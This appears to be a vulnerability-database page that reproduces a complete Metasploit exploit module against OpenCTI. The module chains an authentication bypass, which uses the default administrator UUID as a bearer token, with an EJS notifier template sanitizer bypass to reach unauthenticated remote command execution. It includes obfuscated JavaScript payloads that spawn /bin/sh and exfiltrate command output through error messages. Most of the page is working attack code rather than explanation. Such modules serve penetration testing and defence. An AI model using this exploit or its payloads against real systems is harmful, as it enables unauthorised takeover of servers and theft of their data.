OpenCTI Authentication Bypass and Notifier EJS Remote Code Execution
| Reporter | Title | Published | Views | Family All 33 |
|---|---|---|---|---|
| Exploit for Improper Input Validation in Microsoft | 7 May 202601:44 | – | githubexploit | |
| CVE-2026-39980 | 9 Apr 202616:54 | – | attackerkb | |
| CVE-2026-27960 | 5 May 202618:35 | – | attackerkb | |
| CVE-2026-27960 | 5 May 202619:19 | – | circl | |
| CVE-2026-39980 | 9 Apr 202619:23 | – | circl | |
| OpenCTI 安全漏洞 | 9 Apr 202600:00 | – | cnnvd | |
| OpenCTI 授权问题漏洞 | 5 May 202600:00 | – | cnnvd | |
| CVE-2026-27960 | 5 May 202618:35 | – | cve | |
| CVE-2026-39980 | 9 Apr 202616:54 | – | cve | |
| CVE-2026-27960 OpenCTI privilege escalation and unauthenticated access via default admin account | 5 May 202618:35 | – | cvelist |
10
# frozen_string_literal: true
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
DEFAULT_ADMIN_UUID = '88ec0c6a-13ce-5e39-b486-354fe4a7084f'
MIN_AUTH_BYPASS_VERSION = Rex::Version.new('6.6.0')
FIXED_NOTIFIER_RCE_VERSION = Rex::Version.new('6.9.5')
FIXED_AUTH_BYPASS_VERSION = Rex::Version.new('6.9.13')
def initialize(info = {})
super(
update_info(
info,
'Name' => 'OpenCTI Authentication Bypass and Notifier EJS Remote Code Execution',
'Description' => %q{
This module chains CVE-2026-27960 and CVE-2026-39980 to achieve
unauthenticated remote command execution against vulnerable OpenCTI
instances.
CVE-2026-27960 allows an unauthenticated attacker to authenticate to
the GraphQL API using the UUID of an existing user as a bearer token.
By default, this module uses OpenCTI's deterministic default
administrator UUID. A different user UUID can be supplied with USER_ID.
After confirming the authentication bypass, the module locates the
Platform mailer notification connector and exploits CVE-2026-39980,
an EJS notifier template sanitizer bypass, to execute a Unix command in
the OpenCTI Node.js process context.
The full unauthenticated chain applies where the affected version
ranges overlap: OpenCTI 6.6.0 through 6.9.4.
},
'Author' => [
'Jean-Marie Bourbon'
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2026-27960'],
['CVE', '2026-39980'],
['GHSA', '6vvv-vmfr-xhrx'],
['GHSA', 'jv9r-jw2f-rhrf']
],
'DisclosureDate' => '2026-05-04',
'Privileged' => false,
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'RPORT' => 4000
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options(
[
OptString.new('TARGETURI', [true, 'OpenCTI base path', '/']),
OptString.new('USER_ID', [false, 'OpenCTI user UUID to impersonate instead of the default administrator UUID']),
OptString.new('CONNECTOR_ID', [false, 'Platform mailer connector UUID (auto-detected if unset)']),
OptInt.new('COMMAND_TIMEOUT', [true, 'Synchronous generic command timeout in seconds', 120])
]
)
end
def graphql_uri
normalize_uri(target_uri.path, 'graphql')
end
def user_id
configured = datastore['USER_ID']
configured.nil? || configured.empty? ? DEFAULT_ADMIN_UUID : configured
end
def authorization_headers
{
'Accept' => 'application/json',
'Authorization' => "Bearer #{user_id}"
}
end
def graphql_request(operation_name, query, variables = {})
send_request_cgi(
'method' => 'POST',
'uri' => graphql_uri,
'ctype' => 'application/json',
'headers' => authorization_headers,
'data' => {
operationName: operation_name,
query: query,
variables: variables
}.to_json
)
end
def random_identifier
Rex::Text.rand_text_alpha_lower(10)
end
def random_marker
"#{Rex::Text.rand_text_alphanumeric(18)}-"
end
def parse_graphql_response(res)
return nil unless res&.code == 200
res.get_json_document
rescue JSON::ParserError
nil
end
def collect_strings(value)
case value
when Hash
value.values.flat_map { |entry| collect_strings(entry) }
when Array
value.flat_map { |entry| collect_strings(entry) }
when String
[value]
else
[]
end
end
def response_strings(res)
json = parse_graphql_response(res)
return [res.body.to_s] unless json
strings = collect_strings(json)
strings.empty? ? [res.body.to_s] : strings
end
def execution_marker_returned?(res, marker)
response_strings(res).any? do |text|
text.match?(/\n\n#{Regexp.escape(marker)}[^\n]*\z/)
end
end
def authentication_probe
operation_name = random_identifier
query = <<~GRAPHQL
query #{operation_name} {
about {
version
}
me {
id
name
user_email
capabilities {
name
}
}
}
GRAPHQL
res = graphql_request(operation_name, query)
json = parse_graphql_response(res)
return nil unless json.is_a?(Hash)
me = json.dig('data', 'me')
version = json.dig('data', 'about', 'version')
return nil unless me.is_a?(Hash)
{
id: me['id'],
name: me['name'],
email: me['user_email'],
capabilities: Array(me['capabilities']).filter_map { |capability| capability['name'] if capability.is_a?(Hash) },
version: version
}
end
def full_chain_version?(version)
return nil if version.to_s.empty?
parsed = Rex::Version.new(version)
parsed >= MIN_AUTH_BYPASS_VERSION && parsed < FIXED_NOTIFIER_RCE_VERSION
rescue ArgumentError
nil
end
def notification_connector_id
configured = datastore['CONNECTOR_ID'].to_s
return configured unless configured.empty?
operation_name = random_identifier
query = <<~GRAPHQL
query #{operation_name} {
connectorsForNotification {
id
name
connector_schema
connector_schema_ui
}
}
GRAPHQL
res = graphql_request(operation_name, query)
json = parse_graphql_response(res)
return nil unless json.is_a?(Hash)
connectors = json.dig('data', 'connectorsForNotification')
return nil unless connectors.is_a?(Array)
connector = connectors.find do |entry|
next false unless entry.is_a?(Hash)
next false unless entry['name'].to_s.casecmp('Platform mailer').zero?
schema = entry['connector_schema']
schema_text = schema.is_a?(String) ? schema : schema.to_json
schema_text.include?('"template"')
end
connector&.fetch('id', nil)
end
def notifier_template(body)
"<%=(Function`#{body}`)``%>"
end
def notifier_request(template, connector_id)
configuration = {
title: Rex::Text.rand_text_alphanumeric(16),
template: template
}.to_json
variables = {
input: {
notifier_test_id: 'default_notification',
notifier_connector_id: connector_id,
notifier_configuration: configuration
}
}
operation_name = random_identifier
query = <<~GRAPHQL
query #{operation_name}($input: NotifierTestInput!) {
notifierTest(input: $input)
}
GRAPHQL
graphql_request(operation_name, query, variables)
end
def sanitizer_probe(connector_id)
marker = random_marker
body = %(throw Error["call"](null,"#{marker}"+pro\\u0063ess.version))
res = notifier_request(notifier_template(body), connector_id)
[res, marker]
end
def check
auth = authentication_probe
return CheckCode::Unknown('OpenCTI did not return a usable GraphQL response') unless auth
unless auth[:id] == user_id
return CheckCode::Safe("UUID bearer authentication bypass was not confirmed (returned user: #{auth[:id] || 'none'})")
end
version = auth[:version]
if version.to_s.empty?
return CheckCode::Detected("UUID bearer authentication bypass confirmed as #{auth[:name] || auth[:id]}, but the OpenCTI version could not be identified")
end
vulnerable = full_chain_version?(version)
if vulnerable == false
parsed = Rex::Version.new(version)
if parsed < MIN_AUTH_BYPASS_VERSION
return CheckCode::Safe("OpenCTI #{version} predates the affected CVE-2026-27960 range")
end
if parsed >= FIXED_AUTH_BYPASS_VERSION
return CheckCode::Safe("OpenCTI #{version} is patched for CVE-2026-27960")
end
return CheckCode::Safe("OpenCTI #{version} is outside the full-chain range because CVE-2026-39980 is fixed in 6.9.5")
end
return CheckCode::Detected("UUID bearer authentication bypass confirmed on OpenCTI #{version}, but the version could not be classified") if vulnerable.nil?
connector_id = notification_connector_id
return CheckCode::Detected("UUID bearer authentication bypass confirmed on OpenCTI #{version}, but the Platform mailer connector was not found") if connector_id.nil?
res, marker = sanitizer_probe(connector_id)
return CheckCode::Unknown('No response was received while probing the notifier sanitizer') unless res
if execution_marker_returned?(res, marker)
@opencti_connector_id = connector_id
@opencti_version = version
return CheckCode::Vulnerable("OpenCTI #{version} accepted the UUID bearer token and executed JavaScript through the notifier EJS template")
end
if res.body.to_s.include?('Forbidden call in notifier template')
return CheckCode::Safe("OpenCTI #{version} rejected the notifier sanitizer bypass")
end
CheckCode::Detected("OpenCTI #{version} is in the full-chain version range, but active notifier execution was not confirmed")
rescue ::Rex::ConnectionError => e
CheckCode::Unknown("Connection failed: #{e.message}")
rescue StandardError => e
CheckCode::Unknown("Check failed: #{e.class}: #{e.message}")
end
def prepare_exploit
auth = authentication_probe
fail_with(Failure::UnexpectedReply, 'OpenCTI did not return a usable GraphQL response') unless auth
fail_with(Failure::NoAccess, 'UUID bearer authentication bypass was not confirmed') unless auth[:id] == user_id
unless full_chain_version?(auth[:version])
version = auth[:version].to_s.empty? ? 'unknown' : auth[:version]
if datastore['ForceExploit']
print_warning("OpenCTI #{version} is outside the confirmed full-chain version range; ForceExploit is enabled, continuing")
else
fail_with(Failure::NotVulnerable, "OpenCTI #{version} is outside the confirmed full-chain version range")
end
end
@opencti_version = auth[:version]
@opencti_connector_id = notification_connector_id
fail_with(Failure::NotFound, 'Platform mailer connector was not found') if @opencti_connector_id.nil?
print_good("Authenticated as #{auth[:name] || auth[:id]} using UUID bearer bypass")
print_status("OpenCTI version: #{@opencti_version}")
print_status("Using Platform mailer connector: #{@opencti_connector_id}")
end
def generic_command_payload?
datastore['PAYLOAD'].to_s == 'cmd/unix/generic'
end
def extract_marker_value(res, marker)
response_strings(res).each do |text|
match = text.match(%r{\n\n#{Regexp.escape(marker)}([A-Za-z0-9+/=]*)\z})
return match[1] if match
end
nil
end
def execute_generic_command(cmd)
command_hex = cmd.unpack1('H*')
marker = random_marker
process_var = random_identifier
child_var = random_identifier
command_var = random_identifier
result_var = random_identifier
output_var = random_identifier
encoded_var = random_identifier
body = [
%(const #{process_var}=pro\\u0063ess),
%(const #{child_var}=#{process_var}["getBuiltinMo\\u0064ule"]("child_pro\\u0063ess")),
%(const #{command_var}=Buffer["from"]("#{command_hex}","hex")+""),
%(const #{result_var}=#{child_var}["spawnSync"]("/bin/sh",["-c",#{command_var}],{encoding:"utf8",timeout:#{datastore['COMMAND_TIMEOUT'] * 1000},maxBuffer:1048576})),
%(const #{output_var}={stdout:#{result_var}.stdout||"",stderr:#{result_var}.stderr||"",status:#{result_var}.status,signal:#{result_var}.signal,error:#{result_var}.error?{code:#{result_var}.error.code||"",message:#{result_var}.error.message||""}:null}),
%(const #{encoded_var}=Buffer["from"](JSON["stringify"](#{output_var}))["toString"]("base64")),
%(throw Error["call"](null,"#{marker}"+#{encoded_var}))
].join(';')
res = notifier_request(notifier_template(body), @opencti_connector_id)
fail_with(Failure::Unreachable, 'No response was received after sending the command payload') unless res
if res.body.to_s.include?('Forbidden call in notifier template')
fail_with(Failure::UnexpectedReply, 'The command payload was rejected by the OpenCTI notifier sanitizer')
end
encoded = extract_marker_value(res, marker)
fail_with(Failure::UnexpectedReply, 'Command output marker was not returned by OpenCTI') if encoded.nil?
begin
result = JSON.parse(Base64.strict_decode64(encoded))
rescue ArgumentError, JSON::ParserError
fail_with(Failure::UnexpectedReply, 'OpenCTI returned invalid command execution results')
end
stdout = result['stdout'].to_s
stderr = result['stderr'].to_s
output = stdout + stderr
error = result['error']
if error.is_a?(Hash)
print_line(output) unless output.empty?
error_code = error['code'].to_s
error_message = error['message'].to_s
fail_with(Failure::TimeoutExpired, "Command exceeded the #{datastore['COMMAND_TIMEOUT']} second timeout") if error_code == 'ETIMEDOUT'
detail = error_code.empty? ? error_message : "#{error_code}: #{error_message}"
fail_with(Failure::PayloadFailed, "Command execution failed#{": #{detail}" unless detail.empty?}")
end
signal = result['signal']
unless signal.to_s.empty?
print_line(output) unless output.empty?
fail_with(Failure::PayloadFailed, "Command was terminated by signal #{signal}")
end
status = result['status']
fail_with(Failure::UnexpectedReply, 'OpenCTI did not return a command exit status') unless status.is_a?(Integer)
unless status.zero?
print_line(output) unless output.empty?
fail_with(Failure::PayloadFailed, "Command exited with status #{status}")
end
print_good('Command executed successfully')
print_line(output) unless output.empty?
end
def execute_detached_command(cmd)
command_hex = cmd.unpack1('H*')
marker = random_marker
process_var = random_identifier
child_var = random_identifier
command_var = random_identifier
result_var = random_identifier
body = [
%(const #{process_var}=pro\\u0063ess),
%(const #{child_var}=#{process_var}["getBuiltinMo\\u0064ule"]("child_pro\\u0063ess")),
%(const #{command_var}=Buffer["from"]("#{command_hex}","hex")+""),
%(const #{result_var}=#{child_var}["spawn"]("/bin/sh",["-c",#{command_var}],{detached:true,stdio:"ignore"});#{result_var}["unref"]()),
%(throw Error["call"](null,"#{marker}"))
].join(';')
res = notifier_request(notifier_template(body), @opencti_connector_id)
unless res
vprint_status('No HTTP response was returned after command dispatch')
return
end
if res.body.to_s.include?('Forbidden call in notifier template')
fail_with(Failure::UnexpectedReply, 'The command payload was rejected by the OpenCTI notifier sanitizer')
end
if execution_marker_returned?(res, marker)
print_good('Command payload dispatched successfully')
else
vprint_status('Command payload dispatched without an execution marker')
end
end
def execute_command(cmd, _opts = {})
if generic_command_payload?
execute_generic_command(cmd)
else
execute_detached_command(cmd)
end
end
def exploit
prepare_exploit unless @opencti_connector_id
print_status("Executing #{datastore['PAYLOAD']} payload")
execute_command(payload.encoded)
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
04 May 2026 00:00Current
CVSS 3.17.2 - 9.8
EPSS0.0468
SSVC